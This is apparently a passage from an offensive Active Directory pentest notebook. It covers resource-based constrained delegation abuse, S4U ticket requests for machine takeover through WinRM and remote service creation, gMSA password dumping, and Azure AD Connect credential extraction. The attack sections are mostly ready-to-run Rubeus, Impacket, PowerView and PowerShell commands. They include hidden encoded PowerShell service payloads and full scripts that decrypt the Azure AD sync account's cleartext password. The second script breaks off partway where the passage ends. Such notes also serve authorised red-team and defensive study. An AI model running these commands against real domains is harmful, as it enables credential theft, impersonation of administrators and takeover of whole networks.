```

**\[Optional - For ACL exploit] Modification of the msDS-AllowedToActOnBehalfOfOtherIdentity attribute**

In order to conduct the modification, the right to write the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute of the domain object is required. This right can be granted:

* specifically (`WriteProperty` / `GenericWrite` on `GUID: 3f78c3e5-f79a-46bd-a0b8-9d18116ddc79`),
* indirectly through ownership of the object,
* directly and indirectly through broader control rights on the object (`GenericAll`, `WriteOwner`, `WriteDACL`, `WriteProperty` / `GenericWrite` on all attributes).

Refer to the `[ActiveDirectory] ACL exploiting` note for more information on how to enumerate and, if necessary, exploit broader control rights to obtain the right to write the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute.

The `RSAT` `ActiveDirectory` module's `Get-ADComputer` and `Set-ADComputer` PowerShell cmdlets can be used to modify the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute of the specified service or machine account:

```bash
# IDENTITY: DistinguishedName (DN), GUID, SID or SamAccountName
# ADPRINCIPAL: Get-ADUser -Identity <CONTROLLED_SERVICE_ACCOUNT_IDENTITY> / Get-ADComputer -Identity <CONTROLLED_MACHINE_IDENTITY>

Set-ADUser -Identity <TARGET_USER_IDENTITY> -PrincipalsAllowedToDelegateToAccount <CONTROLLED_ADPRINCIPAL | CONTROLLED_PRINCIPAIL_DISTINGUISHED_NAME>
Set-ADUser -Server <DC_IP | DC_HOSTNAME> -Credential <PSCredential> -Identity <TARGET_USER_IDENTITY> -PrincipalsAllowedToDelegateToAccount <CONTROLLED_ADPRINCIPAL | CONTROLLED_PRINCIPAIL_DISTINGUISHED_NAME>

Set-ADComputer -Identity <TARGET_COMPUTER_IDENTITY> -PrincipalsAllowedToDelegateToAccount <CONTROLLED_ADPRINCIPAL | CONTROLLED_PRINCIPAIL_DISTINGUISHED_NAME>
Set-ADComputer -Server <DC_IP | DC_HOSTNAME> -Credential <PSCredential> -Identity <TARGET_COMPUTER_IDENTITY> -PrincipalsAllowedToDelegateToAccount <CONTROLLED_ADPRINCIPAL | CONTROLLED_PRINCIPAIL_DISTINGUISHED_NAME>
```

Alternatively, the `PowerView`'s `Get-DomainComputer` and `Set-DomainObject` PowerShell cmdlets or `Impacket`'s `rbcd.py` may be used as well:

```bash
# PowerView.
# IDENTITY: DistinguishedName (DN), GUID, SID or SamAccountName.

$ControlledObjectSid = Get-DomainObject -Identity <CONTROLLED_SERVICE_ACCOUNT_IDENTITY | CONTROLLED_MACHINE_ACCOUNT_IDENTITY> -Properties objectsid  | Select -Expand objectsid

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ControlledObjectSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

Get-DomainObject <TARGET_USER_IDENTITY | TARGET_COMPUTER_IDENTITY> | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

# Impacket.
# Supported 'action': read, write, remove, flush.
rbcd.py -action write -delegate-to <TARGET_MACHINE_ACCOUNT_NAME$> -delegate-from <CONTROLLED_MACHINE_ACCOUNT_NAME$> [<DOMAIN>/]<USERNAME>[:<TARGET_COMPUTER_ACCOUNT_PASSWORD | PASSWORD>]@<DC_HOSTNAME | DC_IP>

rbcd.py -action write -delegate-to <TARGET_MACHINE_ACCOUNT_NAME$> -delegate-from <CONTROLLED_MACHINE_ACCOUNT_NAME$> -hashes <:TARGET_COMPUTER_ACCOUNT_NT_HASH | NT_HASH> [<DOMAIN>/]<USERNAME>@<DC_HOSTNAME | DC_IP>

export KRB5CCNAME=<TICKET_CCACHE_FILE_PATH_TARGET_COMPUTER_ACCOUNT>
rbcd.py -action write -delegate-to <TARGET_MACHINE_ACCOUNT_NAME$> -delegate-from <CONTROLLED_MACHINE_ACCOUNT_NAME$> -k -no-pass -dc-ip <DC_IP> <DC_HOSTNAME>
```

**Exploitation process of resource-based constrained delegation**

`Rubeus`'s `s4u` module or `impackets`'s `getST.py` Python script can be used to make `S4U2self` and `S4U2proxy` requests to retrieve a `service ticket` impersonating the specified user to the service allowing delegation (through `resource-based constrained delegation`).

For machine takeover, the targeted service(s) can be specified through their respective `SPN` in the form of `<SERVICE_NAME>/<MACHINE_HOSTNAME>` or `<SERVICE_NAME>/<MACHINE_FQDN>`.

Refer to the `S4U service tickets and usage` section below (common with `resource-based constrained delegation` exploitation) for more information on how to request and use the aforementioned tools (notably for machine takeover).

### S4U service tickets and usage

**S4U service tickets request**

`Rubeus`'s `s4u` module or `impackets`'s `getST.py` Python script can be used to request `S4U2self` `service tickets` for the targeted service(s). Knowledge of a secret (`NTLM` hash or `Kerberos` `AES 128 / 256 bits` keys) or a `Kerberos` `TGT` of the principal trusted for delegation (constrained or resource-based) is required and must first be retrieved before `S4U` requests can be made.

If **only the password of the user is known**, the `NTLM` hash / `RC4` key or the `AES` keys can be derived from the password. The `DSInternals` PowerShell `ConvertTo-NTHash` and `ConvertTo-KerberosKey` cmdlets or the `Rubeus`'s `hash` module can be used to this end. Additionally, if **only the security context of an user has been obtained** (i.e no knowledge of any of the user's credentials), a `TGT` for the user can be obtained using the `Rubeus`'s `tgtdeleg` module. Refer to the `[ActiveDirectory] Kerberos tickets usage` note (`Plaintext password to RC4 / AES keys` or `TGT Kerberos tickets requests` sections) for more information.

The following commands can be used to requests `S4U` `service ticket(s)` for the specified service(s) under the identity of the provided service account.

Note that the received `S4U2self` `service ticket(s)` will be automatically injected in (and overwrite) the current logon session by `Rubeus` if the `/ptt` option is specified.

```bash
# Example of <SPN> for Rubeus's msdsspn or getST.py: <SERVICE>/<DOMAIN_FQDN> or host/<HOSTNAME> or host/<HOSTNAME_FQDN>.

# Rubeus.exe.
# Example of <SERVICE_NAME | SERVICES_NAME> for Rubeus' altservice: host,cifs,http,wsman,rpcss.

# Request made using a known secret of the principal trusted for delegation.
Rubeus.exe s4u /domain:<DOMAIN_FQDN> /user:<CONTROLLED_SERVICE_ACCOUNT_USERNAME | CONTROLLED_MACHINE_ACCOUNT_NAME$> /rc4:<NTLM> /impersonateuser:<Administrator | USERNAME> /msdsspn:<SPN> [/altservice:<host,cifs,http,wsman,rpcss | SERVICE_NAME | SERVICES_NAME>] /ptt

# Request made using a valid TGT of the principal trusted for delegation.
Rubeus.exe s4u /domain:<DOMAIN_FQDN> /ticket:<TGT> /impersonateuser:<Administrator | USERNAME> /msdsspn:<SPN>/<DOMAIN_FQDN> [/altservice:<host,cifs,http,wsman,rpcss | SERVICE_NAME | SERVICES_NAME>] /ptt

# Impacket's getST.py.

# Request made using a known secret of the principal trusted for delegation.
getST.py -spn <SPN> -impersonate <Administrator | USERNAME> -dc-ip <DC_IP> '<DOMAIN>/<CONTROLLED_MACHINE_ACCOUNT_NAME$>:<CONTROLLED_MACHINE_ACCOUNT_PASSWORD>'
```

**S4U service tickets usage for machine takeover**

From a Windows attacking machine, `WinRM` can be used to remotely execute PowerShell commands if the service is exposed on the target system (port `TCP` 5985 / 5986). PowerShell remoting requires `service tickets` for the `HOST` and `HTTP` services, and may, depending on the targeted host, requires tickets for the `WSMAN` and / or `RPCSS` services as well.

```bash
Rubeus.exe s4u /domain:<DOMAIN_FQDN> /user:<CONTROLLED_SERVICE_ACCOUNT_USERNAME | CONTROLLED_MACHINE_ACCOUNT_NAME$> /rc4:<NTLM> /impersonateuser:<Administrator | USERNAME> /msdsspn:host/<FQDN_TARGET_SYSTEM> /altservice:http,wsman,rpcss

Enter-PSSession -ComputerName <TARGET_SYSTEM_HOSTNAME>
```

Another reliable way to leverage the `s4u` `service ticket` for remote code execution is based on the creation and execution of Windows services. This technique presents the advantage of being usable from both Windows and Linux operating systems. Indeed, most Linux utilities can only make use of a single `Kerberos tickets` at a time and only one `service ticket` for the `HOST` `SPN` is required to remotely create and start services.

```
# <SERVICE_COMMAND> example with a Windows binary: <cmd.exe /c '<COMMAND> <COMMAND_ARGS>' | %ComSpec% /c '<COMMAND> <COMMAND_ARGS>' |  %ComSpec% /c powershell.exe -NoP -NonI -W Hidden -Exec Bypass -C '<COMMAND> <COMMAND_ARGS>' | %ComSpec% /c powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc <ENCODED_BASE64_CMD> | ...>

# Windows.
Rubeus.exe s4u /domain:<DOMAIN_FQDN> /user:<CONTROLLED_SERVICE_ACCOUNT_USERNAME | CONTROLLED_MACHINE_ACCOUNT_NAME$> /rc4:<NTLM> /impersonateuser:<Administrator | USERNAME> /msdsspn:host/<FQDN_TARGET_SYSTEM> /ptt
sc \\<TARGET_SYSTEM_HOSTNAME> create <SERVICE_NAME> binpath= "<SERVICE_COMMAND>"
sc \\<TARGET_SYSTEM_HOSTNAME> start <SERVICE_NAME>

# Linux.
# Alternatively, Rubeus's b64 encoded service ticket can be exported, decoded and converted from KRB_CRED to ccache format. For more information refer to the "[ActiveDirectory] Kerberos tickets usage" note.
getST.py -spn host/<FQDN_TARGET_SYSTEM> -impersonate <Administrator | USERNAME> -dc-ip <DC_IP> '<DOMAIN>/<CONTROLLED_MACHINE_ACCOUNT_NAME$>:<CONTROLLED_MACHINE_ACCOUNT_PASSWORD>'
export KRB5CCNAME=<TICKET_CCACHE_FILE_PATH>
services.py -k -no-pass -dc-ip <DC_IP> <TARGET_SYSTEM_HOSTNAME> create -name <SERVICE_NAME> -display <SERVICE_DISPLAY_NAME> -path '<SERVICE_COMMAND>'
services.py -k -no-pass -dc-ip <DC_IP> <TARGET_SYSTEM_HOSTNAME> <start | delete> -name <SERVICE_NAME>
```

**Additional information**

Refer to:

* the `[ActiveDirectory] Kerberos tickets usage` note for more information on techniques and tools to manipulate and use the received `S4U2self` `service tickets` on both Windows and Linux systems.
* the `[ActiveDirectory] Kerberos Silver Tickets` note for more information on the exploitable machine services and their associated `SPN`.
* the `[Windows] Lateral movements` note for more information on how to move laterally using `service tickets`.
* the `[General] Shells` note for more information on how to obtain a shell through the service execution (`nc.exe` one-liner, PowerShell reverse shell, etc.)

***

### References

<https://www.sstic.org/media/SSTIC2014/SSTIC-actes/secrets\\_dauthentification\\_pisode\\_ii\\_\\_kerberos\\_cont/SSTIC2014-Article-secrets\\_dauthentification\\_pisode\\_ii\\_\\_kerberos\\_contre-attaque-bordes\\_2.pdf> <https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html> <https://adsecurity.org/?p=1667> <https://www.synetis.com/risques-associes-a-la-delegation-kerberos/> <https://blog.stealthbits.com/unconstrained-delegation-permissions/> <https://blog.stealthbits.com/resource-based-constrained-delegation-abuse/> <https://docs.microsoft.com/fr-fr/dotnet/api/system.security.principal.wellknownsidtype?view=dotnet-plat-ext-3.1> <https://docs.microsoft.com/en-us/openspecs/windows\\_protocols/ms-sfu/bde93b0e-f3c9-4ddf-9f44-e1453be7af5a> <https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1> <https://beta.hackndo.com/unconstrained-delegation-attack/#rappels--unconstrained-delegation> <https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/> <https://chryzsh.github.io/relaying-delegation/> <https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/> <https://alsid.com/fr/node/143> <https://alsid.com/fr/node/144> <https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation> <https://stackoverflow.com/questions/57171940/accessing-parsing-msds-allowedtoactonbehalfofotheridentity-ad-property-in-c-sh> <https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html>


# Exploitation - gMS accounts (gMSAs)

## Active Directory - group Managed Service Accounts (gMSAs)

#### Overview

Introduced in `Windows Server 2012`, `group Managed Service Accounts (gMSAs)` are service accounts managed by the Active Directory domain services. `gMSAs` address a shortcoming of standalone `Managed Service Accounts (MSA)`, that were introduced in `Windows Server 2008`, and were only usable on a single computer. `gMSAs` use 240-byte passwords, generated and periodically rotated - 30 days by default - by (writable) Domain Controllers using the domain `Key Distribution Services (KDS)` `root key`.

`gMSAs` created using the `New-ADServiceAccount` PowerShell cmdlet are by default placed in the default managed service accounts container (`CN=Managed Service Accounts,<DOMAIN_ROOT>`).

`gMSAs` are objects of class `ms-DS-Group-Managed-Service-Account` (subclass of `Computer`) with the following additional attributes:

* `msDS-GroupMSAMembership` (`PrincipalsAllowedToRetrieveManagedPassword`): defines which security principal(s) can retrieve the `gMSA` password (in the `msds-ManagedPassword` attribute). It corresponds to a security descriptor, with principal(s) having the right to retrieve the `gMSA` password being granted the `RIGHT_DS_READ_PROPERTY` access control right.
* `msds-ManagedPassword`: a [`MSDS-MANAGEDPASSWORD_BLOB`](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) that contains the `gMSA`'s previous and current clear-text password, as well the expiration timers of the current password. The `msds-ManagedPassword` attribute is a constructed attribute, calculated by a (writable) Domain Controller upon each query using the `Key Distribution Services (KDS)` `root key` and the key identifiers.
* `msDS-ManagedPasswordId` and `ms-DS-ManagedPasswordPreviousId`: contain the key identifier used to compute, respectively, the current and previous password of the `gMSA`.
* `ms-DS-ManagedPasswordInterval`: contains the interval period in days under which the `gMSA`'s password will be rotated. By default, the rotation period is 30 days.

#### gMSAs enumeration

The PowerShell `ActiveDirectory` module can be used to enumerate the `gMSAs`:

```bash
# Enumerates the gMSA in the domain.
Get-ADServiceAccount -Filter *
Get-ADObject -LDAPFilter "(objectClass=msDS-GroupManagedServiceAccount)" -Properties *

# Retrieves the principals allowed to retrieve gMSAs' password.
Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword

# Retrieves the principals allowed to retrieve gMSAs' password and highlights potentially dangerous rights (simple analysis based on direct principal names matching).
$PrivilegedPrincipalsRegex = [string]::Join('|', @('CN=Domain Admins', 'CN=Enterprise Admins', 'CN=Domain Controllers'))
$UnprivilegedPrincipalsRegex = [string]::Join('|', @('CN=Domain Users', 'Everyone', 'CN=Domain Computers', 'Authenticated Users', 'Anonymous'))

Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword | ForEach-Object {
    Write-Host -ForegroundColor DarkGreen -BackgroundColor White $_.SamAccountName
    Write-Host $_.DistinguishedName
    Write-Host $_.SID
    Write-Host "`n"

    Write-Host "PrincipalsAllowedToRetrieveManagedPassword:"
    foreach ($Principal in $_.PrincipalsAllowedToRetrieveManagedPassword) {
        If ($Principal -match $UnprivilegedPrincipalsRegex) {
            Write-Host -ForegroundColor Green $Principal
        }
        ElseIf ($Principal -match $PrivilegedPrincipalsRegex) {
            Write-Host -ForegroundColor Red $Principal
        }
        Else { Write-Host -ForegroundColor Yellow $Principal }
    }

    Write-Host "`n"
}
```

#### gMSAs ACL enumeration and msDS-GroupMSAMembership modification

Refer to the `[ActiveDirectory] ACL exploiting` note (`group Managed Service Accounts (gMSA)` section) for more information on techniques and tools to modify `gMSAs`'s `msDS-GroupMSAMembership` attribute.

#### gMSAs password retrieval

Multiple tools and utilities can be used to retrieve a `gMSA` account password, and further derivate its `NTLM` / `NTHash` and `Kerberos` secrets (`AES 128` and `AES 256` keys):

| Tool                                                                                                                                                                                                                                                                                                                                                         | URL                                                                                                                                                                   | Description                                                                                                                                                                                                                                                                                                                                                                                                                           |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| <p>PowerShell <code>ActiveDirectory</code> and <a href="https://github.com/MichaelGrafnetter/DSInternals"><code>DSInternals</code></a> modules:<br><br><code>ActiveDirectory</code> module:<br><code>Get-ADServiceAccount</code><br><br><code>DSInternals</code> module: <code>ConvertFrom-ADManagedPasswordBlob</code><br><code>ConvertTo-NTHash</code></p> | <https://github.com/MichaelGrafnetter/DSInternals>                                                                                                                    | <p>Combination of PowerShell cmdlets from the <code>ActiveDirectory</code> and <code>DSInternals</code> modules to retrieve all or the specified <code>gMSAs</code> password and compute the corresponding <code>NTLM</code> / <code>NTHash</code> and <code>Kerberos</code> secrets.<br><br>Uses the current security context and supports alternate credentials (username/password).</p>                                            |
| [`GMSAPasswordReader`](https://github.com/rvazarkar/GMSAPasswordReader)                                                                                                                                                                                                                                                                                      | <https://github.com/rvazarkar/GMSAPasswordReader>                                                                                                                     | <p>C# utility that retrieve the specified <code>gMSA</code> current and past password to calculate the corresponding <code>NTLM</code> / <code>NTHash</code> and <code>Kerberos</code> secrets.<br><br>Uses the current security context.</p>                                                                                                                                                                                         |
| [`gMSADumper.py`](https://github.com/micahvandeusen/gMSADumper)                                                                                                                                                                                                                                                                                              | <p><https://github.com/micahvandeusen/gMSADumper><br><br>Compiled standalone Linux / Windows x64 binaries:<br><https://github.com/Qazeer/OffensivePythonPipeline></p> | <p>Python script to retrieve all <code>gMSAs</code> password (that the given user has access to) to compute the corresponding <code>NTLM</code> / <code>NTHash</code>.<br><br>Supports user authentication with username/password, username/<code>NTHash</code>, or <code>Kerberos</code> tickets (on Linux using a ticket in the <code>credential cache (ccache)</code> format). Does not leverage the current security context.</p> |

```bash
# PowerShell ActiveDirectory and DSInternals modules.
# Import-Module "<PATH>\DSInternals.psd1"
$gMSA = Get-ADServiceAccount -Identity '<GMSA_NAME>' -Properties 'msDS-ManagedPassword'
$msDSMP_blob = $gMSA.'msDS-ManagedPassword'

# Decodes the MSDS-MANAGEDPASSWORD_BLOB data structure using the DSInternals module.
$CleartextPassword = ConvertFrom-ADManagedPasswordBlob $msDSMP_blob
$CleartextPassword

# Converts the cleartext password to the corresponding NTLM / NT hash using the DSInternals module.
# To compute the corresponding Kerberos secrets using the cleartext password, refer to the "[ActiveDirectory] Kerberos tickets usage" note.
ConvertTo-NTHash -Password $CleartextPassword.SecureCurrentPassword

# GMSAPasswordReader C# utility.
GMSAPasswordReader.exe --AccountName <GMSA_NAME>

# gMSADumper.py Python script and standalone compiled binaries.
gMSADumper.py -d <DOMAIN> -u <USERNAME> -p <PASSWORD>

# <LM_HASH | NT_HASH> if only the NT_HASH is known: 'aad3b435b51404eeaad3b435b51404ee:<NT_HASH>'
gMSADumper.py -d <DOMAIN> -u <USERNAME> -p <LM_HASH | NT_HASH>

# On Linux, Kerberos authentication using a Ticket-Granting-Ticket in the ccache format.
gMSADumper.py -k -d <DOMAIN> -u <USERNAME>
```

***

## References

<https://docs.microsoft.com/en-us/powershell/module/activedirectory/new-adserviceaccount>

<https://www.dsinternals.com/en/retrieving-cleartext-gmsa-passwords-from-active-directory/>

<https://it-central.fr/wp-content/uploads/2017/05/202938243-Comptes-et-groupes-de-services-VSA-MSA-gMSA-tuto-de-A-a-Z.pdf>

<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#readgmsapassword>


# Exploitation - Azure AD Connect

### Overview

`Azure Active Directory (AD) Connect` is a Microsoft utility used to connect on-premises Active Directory forests with Azure AD. Using `Azure AD Connect` on premise users can access cloud-based services in an hybrid identity model, across (Windows Server) Active Directory and Azure AD.

During `Azure AD Connect` installation, an user account is created in the on-premise Active Directory forest: the `Azure Active Directory Domain Services (AD DS) Connector account`. The account is by default named `MSOL_<HEX_ID>` (for example: `MSOL_a8a17814304d`). Additionally, an Azure AD user is also automatically created (named `Sync_<AAD_CONNECT_SERVER_HOSTNAME>_<HEX_ID>@<AZURE_TENANT>`, with a matching `<HEX_ID>`).

**Synchronization modes - Password Hash Sync vs Pass-through Authentication**

`Azure AD Connect` currently implements two synchronization modes / sign-in methods:

* `Password Hash Sync (PHS)`, in which on-premises Active Directory users' NTLM password hashes (NTLM hashes and Kerberos keys) are extracted and synchronized from the on-premises Active Directory forest to Azure AD. `PHS` is the mode configured by default whenever using the "Express Settings" option during the Azure AD Connect installation.
* `Pass-through Authentication (PTA)`, in which on-premises Active Directory users' passwords are not synchronized with Azure AD. The authentication requests (of non cloud-only accounts) made Azure side are instead directly sent to the `Azure AD Connect` server to be validated by an on-premise Domain Controller.

In a `Password Hash Sync` setup, the `Azure AD DS Connector account` is granted replication privileges (`Replicate Directory Changes` and `Replicate Directory Changes All`) in the Active Directory forest in order to be able to extract the users' password hashes.

**Active Directory Federation Services alternative**

While `Azure AD Connect` is sufficient for connecting an on-premise Active Directory environment with Azure AD, `Active Directory Federation Services` may be used as well. `ADFS` is an utility developed by Microsoft to provide single sign-on access to external resources and that implements a claims-based access-control authorization model. `ADFS` establishes a trust between two federation servers: one client-side and another resources-side. On the client-side, `ADFS` connects to the on-premise `Active Directory Domain Services` to authenticates users using the Active Directory database and issues a token that can be transmitted to the resources-side federation server. `ADFS` presents the advantage of enabling federation with various compliant federation services (such as `Software as a Service (SaaS)` applications, `ADFS` servers from external Active Directory forests, etc.) but is however much more difficult to deploy and administrate than `Azure AD Connect`.

### Azure AD Connect identification

The following PowerShell commands, that rely on cmdlets from the Microsoft `Remote Server Administration Tools (RSAT)` utilities, can be used to identity the `Azure AD DS Connector account` and whether the account is granted replication privileges or not.

```
Get-ADUser -Filter "name -like 'MSOL_*'"
Get-ADUser -Properties Description -Filter "Description -like '*Azure*'"

# Checks if the Azure AD DS Connector account is granted replication privileges.
# FOREST_ROOT_OBJECT = "DC=LAB,DC=AD" for example
Get-ACL -Path "AD:<FOREST_ROOT_OBJECT>" | Select -ExpandProperty Access | ? IdentityReference -match "
MSOL_*" | ? ObjectType -match '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2|1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'
```

### Initial compromise of the Azure AD Connect server

The compromise of the `Azure AD Connect` server is a prerequisite of the attacks introduced below. The `Azure AD Connect` server may benefit from a lower security level than the Domain Controllers usually identified as critical infrastructure resources.

The initial compromise of the `Azure AD Connect` server can be achieved in a number of ways (out of the scope of the present note):

| Description                                                                                                                                          | Related note(s)                                                                      |
| ---------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------ |
| Compromise of an account that can (remotely or using a local connection) execute OS commands through the `Azure AD Connect` server `MSSQL` database. | `[ActiveDirectory] - 1433 MSSQL` note.                                               |
| Remote code execution vulnerability or compromise of a service allowing for remote code execution on an exposed service.                             | `L7` notes.                                                                          |
| Compromise of mutualized local Administrators accounts or domain accounts member of the local `Administrators` group.                                | `[ActiveDirectory] - Credentials_theft_shuffling` note.                              |
| Exploitable `ACL` (`GenericAll`, `WriteOwner`, `WriteDACL`, etc.) defined on the `Azure AD Connect` server's machine account.                        | `[ActiveDirectory] ACL exploiting - Computer machine account ACL exploitation` note. |
| Code execution through `Group Policy Objects (GPO)` linked to the `Azure AD Connect` server (through exploitable `ACL` on the `GPO` or `GPO` files). | `[ActiveDirectory] ACL exploiting - GPO ACEs exploitation` note.                     |
| Prior compromise of an account trusted for Kerberos delegations on the `Azure AD Connect` server.                                                    | `[ActiveDirectory] - Kerberos delegations` note.                                     |
| ...                                                                                                                                                  | ...                                                                                  |

### Password Hash Synchronization exploit

After achieving command execution in an elevated context on the `Azure AD Connect` server, the `Azure AD DS Connector account` cleartext password can be retrieved in a number of ways:

* by dumping and extracting the authentication secrets stored in the `LSASS` process. This technique is usually more closely defended against by `Endpoint detection and response (EDR)` products than the other one presented below. Refer to the `[Windows] Post exploitation - Credentials dumping` note for more information on how to dump credentials from `LSASS` as stealthy as possible.
* by retrieving the `Azure AD DS Connector account` encrypted password from the `MSSQL` `ADSync` database (`encrypted_configuration` column of the `mms_management_agent` table) and decrypting it using functions implemented in the `Microsoft Azure AD Sync\Bin\mcrypt.dll` `DLL`.

  On out of date `Azure AD Connect` servers installed before early 2020, the decryption key can be simply retrieved with sufficient privileges using functions from the `mcrypt.dll` `DLL`.

  Since an update changing the way the decryption key is handled, it is now necessary to execute code in the context of the `NT SERVICE\ADSync` Virtual Account to access the decryption key stored as a `DPAPI` key. This can be achieved in two notable ways:

  * By injecting in a process running as the `NT SERVICE\ADSync` account and using the previous technique. This can be done using various tools such as `metasploit`'s `meterpreter` or in a `Cobalt Strike` beacon.
  * By executing operating system commands through the `MSSQL` service (using `xp_cmdshell` for instance), which run under the security context of the `NT SERVICE\ADSync` account.

Once in possession of the `Azure AD DS Connector account` password, refer to the `[ActiveDirectory] ntds.dit dumping` note for a procedure and tooling to conduct passwords replication (`DCSync`).

**Against outdated Azure AD Connect installations**

Multiple tools may be used to conduct the extraction and decryption process against outdated Azure AD Connect installations:

* The [AdSyncDecrypt](https://github.com/VbScrub/AdSyncDecrypt/releases) VB.NET tool.

  The `AdDecrypt.exe` binary must be executed:

  * in a folder with the `mcrypt.dll` `DLL` present.
  * with the AD Sync binary folder as the working directory or with the folder added to the PATH environment variable.

  ```
  # Default location of the AD Sync binary folder
  cd "C:\Program Files\Microsoft Azure AD Sync\Bin"

  # Against the default SQLExpress “LocalDb” instance.
  <PATH>\AdDecrypt.exe

  # Against a full MSSQL instance
  <PATH>\AdDecrypt.exe -FullSQL
  ```
* [adconnectdump](https://github.com/fox-it/adconnectdump), which is composed of the `ADSyncDecrypt`, `ADSyncGather`, and `ADSyncQuery` C# utilities as well as the `adconnectdump.py` Python script.

  `ADSyncDecrypt` and `ADSyncGather` work similarly to `AdDecrypt.exe` and require code execution on the targeted `Azure AD Connect` server.\
  `ADSyncQuery` present the advantage of conducting the extraction through remote `RPC` calls. It however requires a local `MSSQL` instance to be installed on the attacking computer.

  ```
  # The ADSyncQuery.exe sould be present in the directory.
  python.exe adconnectdump.py [[<DOMAIN>/]<USERNAME>@<HOSTNAME | IP>
  ```
* The [azuread\_decrypt\_msol.ps1](https://gist.github.com/xpn/0dc393e944d8733e3c63023968583545#file-azuread_decrypt_msol-ps1) PowerShell script.

  ```
  # Author: Adam Chester (XPN).
  # Source: https://gist.github.com/xpn/0dc393e944d8733e3c63023968583545#file-azuread_decrypt_msol-ps1

  # !! For connection to full MSSQL database instance (excluding database setup using the "Express" installation option), replace the connection string with the one below:
  # $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server=LocalHost;Database=ADSync;Trusted_Connection=True;"

  Write-Host "AD Connect Sync Credential Extract POC (@_xpn_)`n"

  $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
  $client.Open()
  $cmd = $client.CreateCommand()
  $cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
  $reader = $cmd.ExecuteReader()
  $reader.Read() | Out-Null
  $key_id = $reader.GetInt32(0)
  $instance_id = $reader.GetGuid(1)
  $entropy = $reader.GetGuid(2)
  $reader.Close()

  $cmd = $client.CreateCommand()
  $cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
  $reader = $cmd.ExecuteReader()
  $reader.Read() | Out-Null
  $config = $reader.GetString(0)
  $crypted = $reader.GetString(1)
  $reader.Close()

  add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
  $km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
  $km.LoadKeySet($entropy, $instance_id, $key_id)
  $key = $null
  $km.GetActiveCredentialKey([ref]$key)
  $key2 = $null
  $km.GetKey(1, [ref]$key2)
  $decrypted = $null
  $key2.DecryptBase64ToString($crypted, [ref]$decrypted)

  $domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
  $username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
  $password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}

  Write-Host ("Domain: " + $domain.Domain)
  Write-Host ("Username: " + $username.Username)
  Write-Host ("Password: " + $password.Password)
  ```

**Against up-to-date Azure AD Connect installations**

The [azuread\_decrypt\_msol\_v2.ps1](https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c) PowerShell script implements the operating system commands execution through the `MSSQL` service described above to achieve code execution under the security context of the `NT SERVICE\ADSync` account.

```
# Author: Adam Chester (XPN).
# Source: https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c

# !! For connection to full MSSQL database instance (and not database setup using the "Express" installation option), replace the connection string with the one below:
# $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server=LocalHost;Database=ADSync;Trusted_Connection=True;"

Write-Host "AD Connect Sync Credential Extract v2 (@_xpn_)"
Write-Host "`t[ Updated to support new cryptokey storage method ]`n"
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
try {
    $client.Open()
} catch {
    Write-Host "[!] Could not connect to localdb..."
    return
}
Write-Host "[*] Querying ADSync localdb (mms_server_configuration)"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
if ($reader.Read() -ne $true) {
    Write-Host "[!] Error querying mms_server_configuration"
    return
}
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
Write-Host "[*] Querying ADSync localdb (mms_management_agent)"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
if ($reader.Read() -ne $true) {
    Write-Host "[!] Error querying mms_management_agent"
    return
}
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
